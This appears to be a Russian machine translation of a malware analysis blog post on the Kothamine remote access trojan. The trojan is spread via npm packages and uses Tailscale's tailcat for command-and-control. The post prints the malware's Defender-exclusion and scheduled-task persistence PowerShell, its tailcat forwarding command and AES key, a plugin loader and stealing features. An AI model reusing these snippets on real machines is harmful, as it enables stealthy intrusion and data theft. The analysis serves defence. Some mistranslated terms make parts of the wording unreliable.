Вредоносная программа Kothamine использует Tailcat от Tailscale для обхода обнаружения в сети. 

| 25 сентября 2026 г.
Вредоносная программа Kothamine использует Tailcat от Tailscale для обхода обнаружения в сети. 

Мы обнаружили недокументированный троян удаленного доступа (RAT) под названием Kothamine Agent . Он поддерживает более 30 команд и предоставляет злоумышленникам контроль над зараженным устройством. Windows Компьютеры: они могут выполнять команды, читать и изменять файлы, а также добавлять новые возможности. Некоторые версии также могут красть данные браузера и записывать видео через камеру и микрофон. 

Мы обнаружили, что Kothamine связан со вредоносными пакетами npm, что может поставить под угрозу пользователей и разработчиков, устанавливающих эти пакеты. В последних версиях вредоносная программа использует tailcat , инструмент с открытым исходным кодом от Tailscale, для получения команд по зашифрованному соединению. Это затрудняет проверку его коммуникаций и не оставляет специалистам по защите данных возможности блокировать обычные каналы управления и контроля (C2).

Судя по загрузкам на VirusTotal и коммитам в GitHub, разработка или распространение Kothamine ведется как минимум с июля. В более ранних версиях использовался Tailscale. VPN Вместо tailcat. В зависимости от сборки, вредоносная программа либо включает сетевые инструменты, либо загружает их из таких источников, как GitHub.

Как оставаться в безопасности 

Перед установкой незнакомого npm-пакета проверьте его репозиторий, сопровождающих, зависимости и последние релизы. Поищите сообщения о вредоносной активности и отдавайте предпочтение пакетам с устоявшейся историей и регулярным обслуживанием.

  • Внимательно проверьте название. Убедитесь, что вы не загружаете поддельный пакет с похожим названием. 
  • Проверьте разработчика или организацию и убедитесь, что издатель выглядит законным. Проверьте, например, есть ли у него веб-сайт или репозиторий на GitHub. 
  • Ознакомьтесь с отзывами, проблемами и сообщениями. Найдите название пакета в Google и проверьте наличие сообщений об обнаружении потенциально вредоносного ПО. 
  • Посмотрите, насколько он популярен. Пакет с большим количеством загрузок и пользователей, как правило, проще проверить, чем совершенно новый пакет, практически не имеющий истории. 

Технический анализ

Котамин и вредоносные npm-пакеты

Kothamine написан на C и C++. В большинстве проанализированных нами образцов он состоит из инжектора и DLL-библиотеки, содержащей агент. Агент поддерживает более 30 команд, позволяя оператору управлять зараженной системой и загружать дополнительные DLL-библиотеки для расширения своих возможностей.

Со временем Kothamine Agent претерпел некоторые изменения. Более ранние версии, найденные нами на VirusTotal, использовали Tailscale. VPN Вместо tailcat, и строки не были зашифрованы. Некоторые функции, включая обход контроля учетных записей пользователей (UAC) и команды кражи, были обнаружены только в определенных сборках. 

В некоторых версиях Kothamine загружала файлы Tailscale с официального сайта Tailscale или из репозитория GitHub вместо того, чтобы включать их в состав агента.

Тот же самый репозиторий GitHub упоминается в консультативный о вредоносном npm-пакете под названием dotnet-runtime-baseЗагрузка пакета npm-sc-legit.exe из этого репозитория. На момент написания статьи два других пакета, опубликованных тем же разработчиком, были удалены.

Авторы этих кампаний допустили ошибку и опубликовали инструкции по компиляции. kothamine-stub-cpp в одном из пакетов. В руководстве также обсуждается загрузка сборок .NET, чего мы не наблюдали в проанализированных нами образцах.

Сайт npm-sc-legit.exe Исполняемый файл представляет собой скомпилированную версию Kothamine, которая также содержит команды для кражи данных. Мы не нашли панели или конструктора для Kothamine, но наличие функций в разных сборках позволяет предположить, что операторы могут включать определенные функции и команды по мере необходимости.

В данном анализе основное внимание уделяется недавнему образцу, полученному с помощью котаминового агента, в котором для связи с командным пунктом используется хвостовая кошка.

Как действует препарат Котамин

В проанализированных версиях исполняемый файл, внутренне называемый Kothamine Injector, внедряет DLL-библиотеку Kothamine Agent, как правило, в explorer.exeМы также ссылаемся на более ранние версии, чтобы показать, как изменился агент.

1. Инъектор котамина

Инъектор котамина выполняет следующие операции: 

  • Добавляет Windows Исключения в Defender с помощью PowerShell
  • Копирует себя в %ROAMING%\MicrosoftEdgeUpdateCore.exe
  • Извлекает DLL-файл агента в %ROAMING%\MicrosoftEdgeUpdateCore.dll
  • Создает up.ps1 в %TEMP% для настойчивости
  • Внедряет DLL-файл агента в explorer.exe с использованием OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread, и LoadLibraryA

Сайт up.ps1 Скрипт создает запланированную задачу для обеспечения постоянного присутствия с помощью исполняемого файла Injector: 

$A=New-ScheduledTaskAction -Execute 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe'  
$T=New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask 'MicrosoftEdgeUpdateTask' -Action $A -Trigger $T -RunLevel Limited -Force 

2. Котаминовый агент 

Агентский стартап 

Агент создает мьютекс с именем Local\KothamineAgentInstance и начинает свою основную ветку обсуждения.

Затем выполняются команды PowerShell для добавления исполняемого файла и DLL-файла в систему. Windows Список исключений для защитников:

powershell -NoP -NonI -W Hidden -Exec Bypass -Command "
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\Desktop' -ErrorAction SilentlyContinue; 
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue;  
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue;  
Add-MpPreference -ExclusionProcess '{PROCESS_NAME}.exe' -ErrorAction SilentlyContinue; 
Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue"

В более старых версиях строки не шифровались. В последних версиях строки расшифровываются непосредственно в коде или с помощью функций, использующих операцию XOR с разными ключами для каждой строки.

Связь C2 с использованием Tailcat 

Отличительной особенностью Котамина является не техническая сложность, функциональность агента или его способность к маскировке, а использование им Тэйлкэта и Тэйлскейла. VPN для получения команд для выполнения. Это обеспечивает агенту надежный, зашифрованный канал связи.

Tailcat — это недавно выпущенный проект с открытым исходным кодом от команды Tailscale. Tailcat использует плоскость данных Tailscale (WireGuard, обход NAT и DERP), но без плоскости управления. Согласно официальной документации, это означает, что у Tailcat нет IP-адресов, учетных записей, администраторов, пользователей, административного контроля или управления. Эти характеристики, следовательно, делают его привлекательным инструментом для использования в вредоносном ПО. 

В отличие от хвостовой чешуи VPN Tailcat не требует регистрации учетной записи или устройства. Его разработчики создали его для кратковременных подключений.

Поскольку учетные записи отсутствуют, доступ осуществляется на основе наличия адреса tailcat и открытых ключей, используемых для идентификации подключающихся устройств. Это не делает соединение полностью анонимным: размещенные ретрансляторы могут сохранять журналы метаданных.

Сайт tc-address Передача флага forward позволяет клиенту получить информацию, необходимую для правильной маршрутизации запроса. Кроме того, tailcat не требует привилегированного доступа к машине, поскольку использует инструмент командной строки и библиотеки пользовательского пространства. 

В последних версиях Kothamine агент извлекает tailcat из своих ресурсов и сохраняет его как %ROAMING%\TailscalePortable\tailcat.exe.

Исполняемый файл tailcat запускается с помощью CreateProcessA функция и следующие параметры (внутренне называемые spawn_tailcat_forward фаза): 

"C:\Users\{USER}\AppData\Roaming\TailscalePortable\tailcat.exe" forward  tc…. 18080:4444 

Эта команда делает порты сервера tailcat доступными в качестве стандартных локальных TCP-портов.18080 (в данном случае) и запросы перенаправляются в порт. 4444 узел оператора. Kothamine использует сокетные функции для подключения к 127.0.0.1:18080, где Тейлкэт слушает. 

Если строка идентификатора агента не пуста, агент отправляет зашифрованный запрос профиля, содержащий следующую информацию (run_c2_loop фаза): 

{"name":"base_<rand()>","os":"Windows","ip":"0.0.0.0","auth_token":"af27..,"type":"base"} 

После этого агент входит в бесконечный цикл для получения команд на выполнение от центра управления и контроля (C2).run_c2_loop фаза). Агент ожидает выполнения новых команд, используя select Функция сокета периодически отправляет сообщения KEEP-ALIVE, если команда не получена. 

Сообщения, которыми обмениваются с центром управления и контроля (C2), шифруются и расшифровываются с использованием алгоритма AES-GCM.aes_encrypt фаза).  

32-байтовый ключ AES декодируется в формате Base64 из строки (c2_key фаза): 

mrowPsW2P5kzFGCNWeKAd+kYpo8Yy5c2pzaOSRuzisU= 

Поддерживаемые команды 

В этой сборке агент Kothamine поддерживает 30 команд. относится к: 

  • Взаимодействие с процессами
  • Взаимодействие с файлами и каталогами
  • Выполнение команд оболочки
  • Расширение возможностей агента на основе полученных DLL-файлов.
Название команды Описание 
sysinfo/systeminfo, curpid Возвращает системную информацию, такую ​​как PID, текущий путь, имя хоста и ОС (заданная жестко). 
tasklist, kill Возвращает процессы, полученные с помощью команды « tasklist /FO CSV /NH ». Завершает процесс, указанный PID, с помощью команды « taskkill /F /PID ». 
ping Проверка работоспособности, "Понг" возвращается на C2. 
ipconfig Выполняет команду « ipconfig /all » и возвращает результат. 
exec, shell_execВыполняет команды оболочки с помощью функции _popen() и отправляет результат обратно. 
mkdir, rmdir, cp, mv, cd, ls, dir, pwdВзаимодействует с файлами и папками в системе. 
writefile_start, writefile_chunk, writefile_end, writefile, readfile, createfile, delfile, downloadЧитает, записывает и удаляет произвольные файлы. 
load_featureЗаписывает и загружает полученную DLL-библиотеку в кодировке base-64. Загрузка DLL осуществляется с помощью функции LoadLibraryA , после чего выполняется метод “ GetFeatureApi ”, разрешаемый через GetProcAddress . Сохраняет указатели на функции, необходимые для их выполнения. 
exec_feature, features, list_features, unload_featureОн взаимодействует с загруженными функциями для их просмотра, выполнения или удаления. 

Учитывая, что остальные команды являются общими для других агентов, основное внимание в анализе уделяется системе «плагинов», которая позволяет оператору получать DLL-файлы и расширять функциональность агента. 

Система плагинов 

Для загрузки новой DLL-библиотеки оператор использует команду: 

load_feature <name> <B64EncodedDLL> 

В общих чертах процесс работает следующим образом. Приведенный ниже код и имена переменных восстановлены на основе журналов использования и выходных данных.

  1. Сначала агент проверяет, загружена ли уже данная функциональность, и если да, то выгружает её: 
if (g_features.find(name) != g_features.end()) {
    send_text("[!] " + name + " already loaded, unloading first");
    unload_feature(name);
}

  

  1. Программа пытается создать полученную DLL-библиотеку в месте, указанном при помощи... GetTempPath или SHGetFolderPathAили в жестко заданном пути C:\Windows\TempОн записывает декодированную DLL-библиотеку и загружает её. LoadLibraryA.
  1. Решает и выполняет GetFeatureApi метод загруженной DLL: 
pGFA = GetProcAddress(hModDLL, "GetFeatureApi");
if (!pGFA) {
    send_text("[!] GetProcAddress(GetFeatureApi) failed, lastError= …");
    FreeLibrary(hMod);
    return 0;
}
api = pGFA();

Мы не нашли DLL-библиотеку, которая позволила бы нам полностью проанализировать структуру, возвращаемую функцией. GetFeatureApiОднако, проанализировав код и строки, мы выявили следующие поля: 

/* Function used for C2 callback */
typedef void (*FeatureSendCb)(void *data, int len);

struct FeatureApi {
    char *version;
    char *name;
    void (*init)(FeatureSendCb send);
    void (*exec)(char *args, FeatureSendCb send);
    void (*cleanup)(void);
};

Указатели на загруженную DLL и возвращаемую структуру сохраняются в глобальной переменной. переменная вызывается внутри g_featuresиспользуя следующую структуру: 

struct LoadedFeature {
    void *hModule;          /* Loaded DLL */
    struct FeatureApi *api; /* Pointer returned by GetFeatureApi() */
};

                            

  1. Выполняет init функция, содержащаяся в возвращаемой структуре, с передачей ей функции, используемой для связи по протоколу C2: 
send_text("[!] calling init..."); 
api->init(*feature_send_callback);   
send_text("[!] init done");

После загрузки функции оператор может выполнить загруженную функцию с помощью команды: 

exec_feature <functionName> [args] 

Различные варианты сборки Kothamine: с хвостовой чешуей VPN Команды обхода UAC и кражи данных. 

Как уже упоминалось ранее, мы обнаружили версии Kothamine с различными возможностями.

В более ранних версиях использовался хвостовой масштаб. VPN До выхода TailScale они скачивали и запускали установщик с сайта TailScale. /quiet и /silent флаги или загруженные непосредственно с GitHub. В их число входили: tailscaled.exe, tailscale.exe, tailscale-ipn.exe, и wintun.dll.

В некоторых версиях обход контроля учетных записей пользователей (UAC) с помощью fodhelper.exe бежать elevated.ps1В приведенном ниже примере скрипт PowerShell запускает Tailscale. VPN связь:

$tsdir='C:\Users\{USER}\AppData\Roaming\TailscalePortable'
$ts='""'+$tsdir+'\\tailscale.exe""'
$tsd='""'+$tsdir+'\\tailscaled.exe""'
Start-Process -WindowStyle Hidden -FilePath $tsd -WorkingDirectory $tsdir
$connected=$false
for ($i=0; $i -lt 45; $i++) {
    Start-Sleep 2
    try { &$ts up --unattended=true --auth-key='tskey-auth-…' 2>&1 | Out-Null } catch {}
    $ip=(&$ts ip 2>&1 | Out-String)
    if ($ip -match '100\.') { $connected=$true; break }
}

Затем агент подключается к порту. 4444 по сетевому IP-адресу Tailscale (100.x.x.x) и начинает получать и выполнять команды.

Наконец, как мы уже упоминали ранее, разные сборки Kothamine поддерживают и другие команды. Например, версия, загруженная на GitHub, включает в себя дополнительные команды, в том числе: getdiscord, getsessions, screenshot, screenshare, и cameraЭто позволяет операторам:

  • Кража файлов cookie из различных браузеров
  • Кража JSON-файлов, связанных с играми, включая файлы, относящиеся к Steam и Minecraft.
  • Делайте скриншоты и записывайте видео через камеру и микрофон.
  • Доступ к содержимому буфера обмена

Индикаторы компрометации

Хэши SHA-256 

  • ec4219a7ecf132c29080fbb20e4ab410c57faa85aeed7acade1eb15d905a6ee0Инъекционный препарат котамин: анализ в блоге 
  • 74eca3973ad72a6ddc9397aff8250d9ee287211fc9a055d5ee290d01cf76a70cКотаминовый агент проанализирован в блоге. 

URL-адреса 

  • https://github[.]com/cphc811-ui/: Репозиторий, используемый для загрузки исполняемых файлов и DLL-библиотек, связанных с Tailscale. VPN 

Благодарности    

Рекомендации Mondoo по анализируемому пакету npm .


Просматривайте, как будто никто не смотрит. 

Malwarebytes Privacy VPN ваше соединение и никогда не регистрирует ваши действия, поэтому следующая статья, которую вы прочитаете, не будет казатьсявам личной.Попробуйте бесплатно → 

Об авторе

Габриэле — инженер-исследователь в области вредоносного ПО, который обожает бороться с вредоносными программами. В свободное от работы время он любит наслаждаться природой, искусством и общением с животными.